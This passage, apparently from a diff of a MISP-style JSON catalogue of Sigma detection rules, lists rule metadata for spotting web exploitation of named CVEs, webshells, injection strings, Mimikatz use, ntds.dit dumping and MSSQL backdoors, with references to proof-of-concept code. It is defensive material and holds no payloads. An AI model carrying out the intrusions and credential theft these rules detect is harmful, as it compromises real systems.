"https://www.volexity.com/blog/2022/08/10/mass-exploitation-of-unauthenticated-zimbra-rce-cve-2022-27925/" - ], - "tags": [ - "attack.initial_access", - "attack.t1190", - "cve.2022.27925" - ] - }, - "uuid": "dd218fb6-4d02-42dc-85f0-a0a376072efd", - "value": "Zimbra Collaboration Suite Email Server Unauthenticated RCE" - }, - { - "description": "Detects the exploitation of VMware Workspace ONE Access Authentication Bypass vulnerability as described in CVE-2022-31656\nVMware Workspace ONE Access, Identity Manager and vRealize Automation contain an authentication bypass vulnerability affecting local domain users.\nA malicious actor with network access to the UI may be able to obtain administrative access without the need to authenticate.\n", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/08/12", - "falsepositive": [ - "Vulnerability scanners" - ], - "filename": "web_cve_2022_31656_auth_bypass.yml", - "level": "high", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://petrusviet.medium.com/dancing-on-the-architecture-of-vmware-workspace-one-access-eng-ad592ae1b6dd", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2022_31656_auth_bypass.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ] - }, - "uuid": "fcf1101d-07c9-49b2-ad81-7e421ff96d80", - "value": "CVE-2022-31656 VMware Workspace ONE Access Auth Bypass" - }, - { - "description": "Detects possible exploitation of VMware Workspace ONE Access Admin Remote Code Execution vulnerability as described in CVE-2022-31659", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/08/12", - "falsepositive": [ - "Vulnerability scanners", - "Legitimate access to the URI" - ], - "filename": "web_cve_2022_31659_vmware_rce.yml", - "level": "medium", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://petrusviet.medium.com/dancing-on-the-architecture-of-vmware-workspace-one-access-eng-ad592ae1b6dd", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2022_31659_vmware_rce.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ] - }, - "uuid": "efdb2003-a922-48aa-8f37-8b80021a9706", - "value": "CVE-2022-31659 VMware Workspace ONE Access RCE" - }, - { - "description": "Detects attempts to exploit an apache spark server via CVE-2014-6287 from a weblogs perspective", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/07/19", - "falsepositive": [ - "Web vulnerability scanners" - ], - "filename": "web_cve_2022_33891_spark_shell_command_injection.yml", - "level": "high", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2022_33891_spark_shell_command_injection.yml", - "https://github.com/W01fh4cker/cve-2022-33891/blob/fd973b56e78bca8822caa3a2e3cf1b5aff5d0950/cve_2022_33891_poc.py", - "https://github.com/apache/spark/pull/36315/files", - "https://sumsec.me/2022/CVE-2022-33891%20Apache%20Spark%20shell%20command%20injection.html" - ], - "tags": [ - "attack.initial_access", - "attack.t1190", - "cve.2022.33891" - ] - }, - "uuid": "1a9a04fd-02d1-465c-abad-d733fd409f9c", - "value": "Apache Spark Shell Command Injection - Weblogs" - }, - { - "description": "Detects attempts to exploit the Atlassian Bitbucket Command Injection CVE-2022-36804", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/09/29", - "falsepositive": [ - "Web vulnerability scanners" - ], - "filename": "web_cve_2022_36804_atlassian_bitbucket_command_injection.yml", - "level": "high", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://twitter.com/_0xf4n9x_/status/1572052954538192901", - "https://www.rapid7.com/blog/post/2022/09/20/cve-2022-36804-easily-exploitable-vulnerability-in-atlassian-bitbucket-server-and-data-center/", - "https://blog.assetnote.io/2022/09/14/rce-in-bitbucket-server/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2022_36804_atlassian_bitbucket_command_injection.yml", - "https://confluence.atlassian.com/bitbucketserver/bitbucket-server-and-data-center-advisory-2022-08-24-1155489835.html" - ], - "tags": [ - "attack.initial_access", - "attack.t1190", - "cve.2022.36804" - ] - }, - "uuid": "65c0a0ab-d675-4441-bd6b-d3db226a2685", - "value": "Atlassian Bitbucket Command Injection Via Archive API" - }, - { - "description": "Detects exploitation attempts in Exchange server logs as described in blog posts reporting on HAFNIUM group activity", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/03/03", - "falsepositive": [ - "Legitimate access to other web applications that use the same folder names as Exchange (e.g. owa, ecp) but are not Microsoft Exchange related" - ], - "filename": "web_exchange_exploitation_hafnium.yml", - "level": "high", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_exchange_exploitation_hafnium.yml", - "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ] - }, - "uuid": "67bce556-312f-4c81-9162-c3c9ff2599b2", - "value": "Exchange Exploitation Used by HAFNIUM" - }, - { - "description": "Detects URL patterns that could be found in ProxyShell exploitation attempts against Exchange servers (failed and successful)", - "meta": { - "author": "Florian Roth, Rich Warren", - "creation_date": "2021/08/07", - "falsepositive": [ - "Unknown" - ], - "filename": "web_exchange_proxyshell.yml", - "level": "high", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_exchange_proxyshell.yml", - "https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html", - "https://youtu.be/5mqid-7zp8k?t=2231" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ] - }, - "uuid": "23eee45e-933b-49f9-ae1b-df706d2d52ef", - "value": "Exchange ProxyShell Pattern" - }, - { - "description": "Detects URP patterns and status codes that indicate a successful ProxyShell exploitation attack against Exchange servers", - "meta": { - "author": "Florian Roth, Rich Warren", - "creation_date": "2021/08/09", - "falsepositive": [ - "Unknown" - ], - "filename": "web_exchange_proxyshell_successful.yml", - "level": "critical", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1", - "https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html", - "https://youtu.be/5mqid-7zp8k?t=2231", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_exchange_proxyshell_successful.yml" - ], - "tags": [ - "attack.initial_access" - ] - }, - "uuid": "992be1eb-e5da-437e-9a54-6d13b57bb4d8", - "value": "Successful Exchange ProxyShell Attack" - }, - { - "description": "When IIS uses an old .Net Framework it's possible to enumerate folders with the symbol \"~\"", - "meta": { - "author": "frack113", - "creation_date": "2021/10/06", - "falsepositive": [ - "Unknown" - ], - "filename": "web_iis_tilt_shortname_scan.yml", - "level": "medium", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://github.com/projectdiscovery/nuclei-templates/blob/9d2889356eebba661c8407038e430759dfd4ec31/fuzzing/iis-shortname.yaml", - "https://www.exploit-db.com/exploits/19525", - "https://github.com/lijiejie/IIS_shortname_Scanner", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_iis_tilt_shortname_scan.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ] - }, - "uuid": "7cb02516-6d95-4ffc-8eee-162075e111ac", - "value": "Successful IIS Shortname Fuzzing Scan" - }, - { - "description": "Detects possible Java payloads in web access logs", - "meta": { - "author": "frack113", - "creation_date": "2022/06/04", - "falsepositive": [ - "Legitimate apps" - ], - "filename": "web_java_payload_in_access_logs.yml", - "level": "high", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_java_payload_in_access_logs.yml", - "https://twitter.com/httpvoid0x2f/status/1532924261035384832", - "https://www.rapid7.com/blog/post/2021/09/02/active-exploitation-of-confluence-server-cve-2021-26084/", - "https://www.rapid7.com/blog/post/2022/06/02/active-exploitation-of-confluence-cve-2022-26134/", - "https://github.com/httpvoid/writeups/blob/62d3751945289d088ccfdf4d0ffbf61598a2cd7d/Confluence-RCE.md" - ], - "tags": [ - "cve.2022.26134", - "cve.2021.26084" - ] - }, - "uuid": "583aa0a2-30b1-4d62-8bf3-ab73689efe6c", - "value": "Java Payload Strings" - }, - { - "description": "Detects exploitation attempt using the JDNIExploiit Kit", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/12/12", - "falsepositive": [ - "Legitimate apps the use these paths" - ], - "filename": "web_jndi_exploit.yml", - "level": "high", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_jndi_exploit.yml", - "https://githubmemory.com/repo/FunctFan/JNDIExploit", - "https://github.com/pimps/JNDI-Exploit-Kit" - ], - "tags": "No established tags" - }, - "uuid": "412d55bc-7737-4d25-9542-5b396867ce55", - "value": "JNDIExploit Pattern" - }, - { - "description": "Detects possible exploitation activity or bugs in a web application", - "meta": { - "author": "Thomas Patzke", - "creation_date": "2017/02/19", - "falsepositive": [ - "Unstable application", - "Application that misuses the response codes" - ], - "filename": "web_multiple_susp_resp_codes_single_source.yml", - "level": "medium", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_multiple_susp_resp_codes_single_source.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ] - }, - "uuid": "6fdfc796-06b3-46e8-af08-58f3505318af", - "value": "Multiple Suspicious Resp Codes Caused by Single Client" - }, - { - "description": "Detects a core dump of a crashing Nginx worker process, which could be a signal of a serious problem or exploitation attempts.", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/05/31", - "falsepositive": [ - "Serious issues with a configuration or plugin" - ], - "filename": "web_nginx_core_dump.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "No established product", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_nginx_core_dump.yml", - "https://www.x41-dsec.de/lab/advisories/x41-2021-002-nginx-resolver-copy/", - "https://docs.nginx.com/nginx/admin-guide/monitoring/debugging/#enabling-core-dumps" - ], - "tags": [ - "attack.impact", - "attack.t1499.004" - ] - }, - "uuid": "59ec40bb-322e-40ab-808d-84fa690d7e56", - "value": "Nginx Core Dump" - }, - { - "description": "Detects path traversal exploitation attempts", - "meta": { - "author": "Subhash Popuri (@pbssubhash), Florian Roth (generalisation)", - "creation_date": "2021/09/25", - "falsepositive": [ - "Happens all the time on systems exposed to the Internet", - "Internal vulnerability scanners" - ], - "filename": "web_path_traversal_exploitation_attempt.yml", - "level": "medium", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_path_traversal_exploitation_attempt.yml", - "https://github.com/projectdiscovery/nuclei-templates" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ] - }, - "uuid": "7745c2ea-24a5-4290-b680-04359cb84b35", - "value": "Path Traversal Exploitation Attempts" - }, - { - "description": "Detects access to SUPERNOVA webshell as described in Guidepoint report", - "meta": { - "author": "Florian Roth", - "creation_date": "2020/12/17", - "falsepositive": [ - "Unknown" - ], - "filename": "web_solarwinds_supernova_webshell.yml", - "level": "critical", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_solarwinds_supernova_webshell.yml", - "https://www.guidepointsecurity.com/supernova-solarwinds-net-webshell-analysis/", - "https://www.anquanke.com/post/id/226029" - ], - "tags": [ - "attack.persistence", - "attack.t1505.003" - ] - }, - "uuid": "a2cee20b-eacc-459f-861d-c02e5d12f1db", - "value": "Solarwinds SUPERNOVA Webshell Access" - }, - { - "description": "Detects exploitation attempts of the SonicWall Jarrewrite Exploit", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/01/25", - "falsepositive": [ - "Unknown" - ], - "filename": "web_sonicwall_jarrewrite_exploit.yml", - "level": "high", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_sonicwall_jarrewrite_exploit.yml", - "https://darrenmartyn.ie/2021/01/24/visualdoor-sonicwall-ssl-vpn-exploit/" - ], - "tags": [ - "attack.t1190", - "attack.initial_access" - ] - }, - "uuid": "6f55f047-112b-4101-ad32-43913f52db46", - "value": "SonicWall SSL/VPN Jarrewrite Exploit" - }, - { - "description": "Detects source code enumeration that use GET requests by keyword searches in URL strings", - "meta": { - "author": "James Ahearn", - "creation_date": "2019/06/08", - "falsepositive": [ - "Unknown" - ], - "filename": "web_source_code_enumeration.yml", - "level": "medium", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://pentester.land/tutorials/2018/10/25/source-code-disclosure-via-exposed-git-folder.html", - "https://medium.com/@logicbomb_1/bugbounty-how-i-was-able-to-download-the-source-code-of-indias-largest-telecom-service-52cf5c5640a1", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_source_code_enumeration.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1083" - ] - }, - "uuid": "953d460b-f810-420a-97a2-cfca4c98e602", - "value": "Source Code Enumeration Detection by Keyword" - }, - { - "description": "Detects SQL Injection attempts via GET requests in access logs", - "meta": { - "author": "Saw Win Naung, Nasreddine Bencherchali", - "creation_date": "2020/02/22", - "falsepositive": [ - "Java scripts and CSS Files", - "User searches in search boxes of the respective website", - "Internal vulnerability scanners can cause some serious FPs when used, if you experience a lot of FPs due to this think of adding more filters such as \"User Agent\" strings and more response codes" - ], - "filename": "web_sql_injection_in_access_logs.yml", - "level": "high", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://github.com/payloadbox/sql-injection-payload-list", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_sql_injection_in_access_logs.yml", - "https://www.acunetix.com/blog/articles/exploiting-sql-injection-example/", - "https://brightsec.com/blog/sql-injection-payloads/", - "https://www.acunetix.com/blog/articles/using-logs-to-investigate-a-web-application-attack/" - ], - "tags": "No established tags" - }, - "uuid": "5513deaf-f49a-46c2-a6c8-3f111b5cb453", - "value": "SQL Injection Strings" - }, - { - "description": "Detects SSTI attempts sent via GET requests in access logs", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/06/14", - "falsepositive": [ - "User searches in search boxes of the respective website", - "Internal vulnerability scanners can cause some serious FPs when used, if you experience a lot of FPs due to this think of adding more filters such as \"User Agent\" strings and more response codes" - ], - "filename": "web_ssti_in_access_logs.yml", - "level": "high", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://github.com/payloadbox/ssti-payloads", - "https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_ssti_in_access_logs.yml" - ], - "tags": "No established tags" - }, - "uuid": "ada3bc4f-f0fd-42b9-ba91-e105e8af7342", - "value": "Server Side Template Injection Strings" - }, - { - "description": "Detects known suspicious (default) user-agents related to scanning/recon tools", - "meta": { - "author": "Nasreddine Bencherchali, Tim Shelton", - "creation_date": "2022/07/19", - "falsepositive": [ - "Unknown" - ], - "filename": "web_susp_useragents.yml", - "level": "medium", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://github.com/xmendez/wfuzz/blob/1b695ee9a87d66a7d7bf6cae70d60a33fae51541/docs/user/basicusage.rst", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_susp_useragents.yml", - "https://github.com/lanmaster53/recon-ng/blob/9e907dfe09fce2997f0301d746796408e01a60b7/recon/core/base.py#L92", - "https://github.com/wpscanteam/wpscan/blob/196fbab5b1ce3870a43515153d4f07878a89d410/lib/wpscan/browser.rb" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ] - }, - "uuid": "19aa4f58-94ca-45ff-bc34-92e533c0994a", - "value": "Suspicious User-Agents Related To Recon Tools" - }, - { - "description": "Detects suspicious windows strins in URI which could indicate possible exfiltration or webshell communication", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/06/06", - "falsepositive": [ - "Legitimate application and websites that use windows paths in their URL" - ], - "filename": "web_susp_windows_path_uri.yml", - "level": "high", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_susp_windows_path_uri.yml", - "https://thedfirreport.com/2022/06/06/will-the-real-msiexec-please-stand-up-exploit-leads-to-data-exfiltration/" - ], - "tags": [ - "attack.persistence", - "attack.exfiltration", - "attack.t1505.003" - ] - }, - "uuid": "9f6a34b4-2688-4eb7-a7f5-e39fef573d0e", - "value": "Suspicious Windows Strings In URI" - }, - { - "description": "Detects access to DEWMODE webshell as described in FIREEYE report", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/02/22", - "falsepositive": [ - "Unknown" - ], - "filename": "web_unc2546_dewmode_php_webshell.yml", - "level": "high", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://www.fireeye.com/blog/threat-research/2021/02/accellion-fta-exploited-for-data-theft-and-extortion.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_unc2546_dewmode_php_webshell.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1505.003" - ] - }, - "uuid": "fdf96c90-42d5-4406-8a9c-14a2c9a016b5", - "value": "DEWMODE Webshell Access" - }, - { - "description": "Certain strings in the uri_query field when combined with null referer and null user agent can indicate activity associated with the webshell ReGeorg.", - "meta": { - "author": "Cian Heasley", - "creation_date": "2020/08/04", - "falsepositive": [ - "Web applications that use the same URL parameters as ReGeorg" - ], - "filename": "web_webshell_regeorg.yml", - "level": "high", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://community.rsa.com/community/products/netwitness/blog/2019/02/19/web-shells-and-netwitness-part-3", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_webshell_regeorg.yml", - "https://github.com/sensepost/reGeorg" - ], - "tags": [ - "attack.persistence", - "attack.t1505.003" - ] - }, - "uuid": "2ea44a60-cfda-11ea-87d0-0242ac130003", - "value": "Webshell ReGeorg Detection Via Web Logs" - }, - { - "description": "Detects Windows Webshells that use GET requests via access logs", - "meta": { - "author": "Florian Roth, Nasreddine Bencherchali", - "creation_date": "2017/02/19", - "falsepositive": [ - "Web sites like wikis with articles on os commands and pages that include the os commands in the URLs", - "User searches in search boxes of the respective website" - ], - "filename": "web_win_webshells_in_access_logs.yml", - "level": "high", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://bad-jubies.github.io/RCE-NOW-WHAT/", - "https://m365internals.com/2022/10/07/hunting-in-on-premises-exchange-server-logs/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_win_webshells_in_access_logs.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1505.003" - ] - }, - "uuid": "7ff9db12-1b94-4a79-ba68-a2402c5d6729", - "value": "Windows Webshell Strings" - }, - { - "description": "Detects XSS attempts injected via GET requests in access logs", - "meta": { - "author": "Saw Win Naung, Nasreddine Bencherchali", - "creation_date": "2021/08/15", - "falsepositive": [ - "JavaScripts,CSS Files and PNG files", - "User searches in search boxes of the respective website", - "Internal vulnerability scanners can cause some serious FPs when used, if you experience a lot of FPs due to this think of adding more filters such as \"User Agent\" strings and more response codes" - ], - "filename": "web_xss_in_access_logs.yml", - "level": "high", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://portswigger.net/web-security/cross-site-scripting/contexts", - "https://github.com/payloadbox/xss-payload-list", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_xss_in_access_logs.yml" - ], - "tags": "No established tags" - }, - "uuid": "65354b83-a2ea-4ea6-8414-3ab38be0d409", - "value": "Cross Site Scripting Strings" - }, - { - "description": "This method detects mimikatz keywords in different Eventlogs (some of them only appear in older Mimikatz version that are however still used by different threat groups)", - "meta": { - "author": "Florian Roth (rule), David ANDRE (additional keywords)", - "creation_date": "2017/01/10", - "falsepositive": [ - "Naughty administrators", - "AV Signature updates", - "Files with Mimikatz in their filename" - ], - "filename": "win_alert_mimikatz_keywords.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/win_alert_mimikatz_keywords.yml", - "https://tools.thehacker.recipes/mimikatz/modules" - ], - "tags": [ - "attack.s0002", - "attack.lateral_movement", - "attack.credential_access", - "car.2013-07-001", - "car.2019-04-004", - "attack.t1003.002", - "attack.t1003.004", - "attack.t1003.001", - "attack.t1003.006" - ] - }, - "uuid": "06d71506-7beb-4f22-8888-e2e5e2ca7fd8", - "value": "Mimikatz Use" - }, - { - "description": "Detects events generated by user-mode applications when they call the CveEventWrite API when a known vulnerability is trying to be exploited.\nMS started using this log in Jan. 2020 with CVE-2020-0601 (a Windows CryptoAPI vulnerability.\nUnfortunately, that is about the only instance of CVEs being written to this log.\n", - "meta": { - "author": "Florian Roth, Zach Mathis", - "creation_date": "2020/01/15", - "falsepositive": [ - "Unknown" - ], - "filename": "win_audit_cve.yml", - "level": "critical", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/DidierStevens/status/1217533958096924676", - "https://www.youtube.com/watch?v=ebmW42YYveI", - "https://twitter.com/FlemmingRiis/status/1217147415482060800", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_audit_cve.yml", - "https://nullsec.us/windows-event-log-audit-cve/", - "https://twitter.com/VM_vivisector/status/1217190929330655232" - ], - "tags": [ - "attack.execution", - "attack.t1203", - "attack.privilege_escalation", - "attack.t1068", - "attack.defense_evasion", - "attack.t1211", - "attack.credential_access", - "attack.t1212", - "attack.lateral_movement", - "attack.t1210", - "attack.impact", - "attack.t1499.004" - ] - }, - "uuid": "48d91a3a-2363-43ba-a456-ca71ac3da5c2", - "value": "Audit CVE Event" - }, - { - "description": "This detection method points out highly relevant Antivirus events", - "meta": { - "author": "Florian Roth, Arnim Rupp", - "creation_date": "2017/02/19", - "falsepositive": [ - "Some software piracy tools (key generators, cracks) are classified as hack tools" - ], - "filename": "win_av_relevant_match.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_av_relevant_match.yml", - "https://www.virustotal.com/gui/file/15b57c1b68cd6ce3c161042e0f3be9f32d78151fe95461eedc59a79fc222c7ed", - "https://www.virustotal.com/gui/file/5092b2672b4cb87a8dd1c2e6047b487b95995ad8ed5e9fc217f46b8bfb1b8c01", - "https://www.virustotal.com/gui/file/13828b390d5f58b002e808c2c4f02fdd920e236cc8015480fa33b6c1a9300e31" - ], - "tags": [ - "attack.resource_development", - "attack.t1588" - ] - }, - "uuid": "78bc5783-81d9-4d73-ac97-59f6db4f72a8", - "value": "Relevant Anti-Virus Event" - }, - { - "description": "An application has been removed. Check if it is critical.", - "meta": { - "author": "frack113", - "creation_date": "2022/01/28", - "falsepositive": [ - "Unknown" - ], - "filename": "win_builtin_remove_application.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_builtin_remove_application.yml" - ], - "tags": [ - "attack.impact", - "attack.t1489" - ] - }, - "uuid": "570ae5ec-33dc-427c-b815-db86228ad43e", - "value": "Application Uninstalled" - }, - { - "description": "Detects potential abuse of ntdsutil to dump ntds.dit database", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/08/14", - "falsepositive": [ - "Legitimate backup operation/creating shadow copies" - ], - "filename": "win_esent_ntdsutil_abuse.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_esent_ntdsutil_abuse.yml", - "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/jj574207(v=ws.11)", - "https://twitter.com/mgreen27/status/1558223256704122882" - ], - "tags": [ - "attack.execution" - ] - }, - "uuid": "e6e88853-5f20-4c4a-8d26-cd469fd8d31f", - "value": "Ntdsutil Abuse" - }, - { - "description": "Detects potential abuse of ntdsutil to dump ntds.dit database to a suspicious location", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/08/14", - "falsepositive": [ - "Legitimate backup operation/creating shadow copies" - ], - "filename": "win_esent_ntdsutil_abuse_susp_location.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_esent_ntdsutil_abuse_susp_location.yml", - "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/jj574207(v=ws.11)", - "https://twitter.com/mgreen27/status/1558223256704122882" - ], - "tags": [ - "attack.execution" - ] - }, - "uuid": "94dc4390-6b7c-4784-8ffc-335334404650", - "value": "Dump Ntds.dit To Suspicious Location" - }, - { - "description": "Detects MSI package installation from suspicious locations", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/08/31", - "falsepositive": [ - "Some false positives may occur depending on the environnement" - ], - "filename": "win_msi_install_from_susp_locations.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_msi_install_from_susp_locations.yml", - "https://www.trendmicro.com/en_us/research/22/h/ransomware-actor-abuses-genshin-impact-anti-cheat-driver-to-kill-antivirus.html" - ], - "tags": [ - "attack.execution" - ] - }, - "uuid": "c7c8aa1c-5aff-408e-828b-998e3620b341", - "value": "MSI Installation From Suspicious Locations" - }, - { - "description": "Detects installation of a remote msi file from web.", - "meta": { - "author": "Stamatis Chatzimangou", - "creation_date": "2022/10/23", - "falsepositive": [ - "Unknown" - ], - "filename": "win_msi_install_from_web.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/_st0pp3r_/status/1583922009842802689", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_msi_install_from_web.yml" - ], - "tags": [ - "attack.execution", - "attack.t1218", - "attack.t1218.007" - ] - }, - "uuid": "5594e67a-7f92-4a04-b65d-1a42fd824a60", - "value": "MSI Installation From Web" - }, - { - "description": "Detects when an attacker tries to backdoor the MSSQL server by adding a backdoor account to the sysadmin fixed server role", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/07/13", - "falsepositive": [ - "Rare legitimate administrative activity" - ], - "filename": "win_mssql_add_sysadmin_account.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://www.netspi.com/blog/technical/network-penetration-testing/sql-server-persistence-part-1-startup-stored-procedures/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_mssql_add_sysadmin_account.yml" - ], - "tags": [ - "attack.persistence" - ] - }, - "uuid": "08200f85-2678-463e-9c32-88dce2f073d1", - "value": "MSSQL Add Account To Sysadmin Role" - }, - { - "description": "Detects when an attacker calls the \"ALTER SERVER AUDIT\" or \"DROP SERVER AUDIT\" transaction in order to delete or disable audit logs on the server", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/07/13", - "falsepositive": [ - "This event should only fire when an administrator is modifying the audit policy. Which should be a rare occurrence once it's set up" - ], - "filename": "win_mssql_disable_audit_settings.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://www.netspi.com/blog/technical/network-penetration-testing/sql-server-persistence-part-1-startup-stored-procedures/", - "https://docs.microsoft.com/en-us/sql/t-sql/statements/alter-server-audit-transact-sql?view=sql-server-ver16", - "https://docs.microsoft.com/en-us/sql/t-sql/statements/drop-server-audit-transact-sql?view=sql-server-ver16", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_mssql_disable_audit_settings.yml" - ], - "tags": [ - "attack.defense_evasion" - ] - }, - "uuid": "350dfb37-3706-4cdc-9e2e-5e24bc3a46df", - "value": "MSSQL Disable Audit Settings" - }, - { - "description": "This rule detects the execution of the extended storage procedure backdoor named Maggie in the context of Microsoft SQL server", - "meta": { - "author": "Denis Szadkowski, DIRT / DCSO CyTec", - "creation_date": "2022/10/09", - "falsepositive": [ - "Legitimate extended stored procedures named maggie" - ], - "filename": "win_mssql_sp_maggie.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://medium.com/@DCSO_CyTec/mssql-meet-maggie-898773df3b01", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_mssql_sp_maggie.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1546" - ] - }, - "uuid": "711ab2fe-c9ba-4746-8840-5228a58c3cb8", - "value": "MSSQL Extended Stored Procedure Backdoor Maggie" - }, - { - "description": "Detects when the a stored procedure is set or cleared for automatic execution in MSSQL. A stored procedure that is set to automatic execution runs every time an instance of SQL Server is started", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/07/13", - "falsepositive": [ - "Legitimate use of the feature by administrators (rare)" - ], - "filename": "win_mssql_sp_procoption_set.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://www.netspi.com/blog/technical/network-penetration-testing/sql-server-persistence-part-1-startup-stored-procedures/", - 